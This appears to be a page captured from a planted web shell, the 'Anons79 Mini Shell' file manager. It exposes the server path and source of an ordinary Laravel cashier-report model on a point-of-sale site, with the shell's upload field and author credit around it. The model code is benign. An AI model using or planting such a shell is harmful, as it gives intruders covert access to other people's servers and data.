Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/joglocell.fixmate.id/app/Models/
Upload File :
Current File : /home/aplikasiposinfo/public_html/joglocell.fixmate.id/app/Models/LaporanKasir.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\SoftDeletes;

class LaporanKasir extends Model
{
    use HasFactory;
    use SoftDeletes;
    protected $fillable = [
        'pengguna_id',
        'no_laporan_kasir',
        'omset_cash',
        'omset_transfer',
        'uang_dompet',
        'pengeluaran_uang_dompet',
        'penambahan_uang_dompet',
        'keterangan',
        'uang_muka_cash',
        'uang_muka_transfer',
        'tanggal',
        'jam_masuk',
        'jam_keluar',
        'services',
        'penjualan'
    ];

    public function scopeCari($query, $name)
    {
        return $query->where("pengguna_id", $name);
    }
    public function pengguna(): BelongsTo
    {
        return $this->belongsTo(Pengguna::class, 'pengguna_id', 'id');
    }

    public function tokos()
    {
        return $this->morphToMany(Toko::class, 'tokoable', 'tokoables', 'tokoable_id', 'toko_id')
            ->where('tokoable_type', LaporanKasir::class);
    }

    public function scopeFilterToko($query, $toko_id = null)
    {
        if ($toko_id == null) {
            return $query->whereHas("tokos", function ($q) {
                $q->whereIn('tokos.id',auth()->user()->role->tokos->pluck('id')->toArray());
            });
        } else {
            return $query->whereHas("tokos", function ($q)use ($toko_id) {
                $q->where('tokos.id',$toko_id);
            });
        }
    }

    public function scopeCreated($query, $begin, $end)
    {
        return $query->whereBetween("created_at", [$begin->format('Y-m-d'), $end->format('Y-m-d')]);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]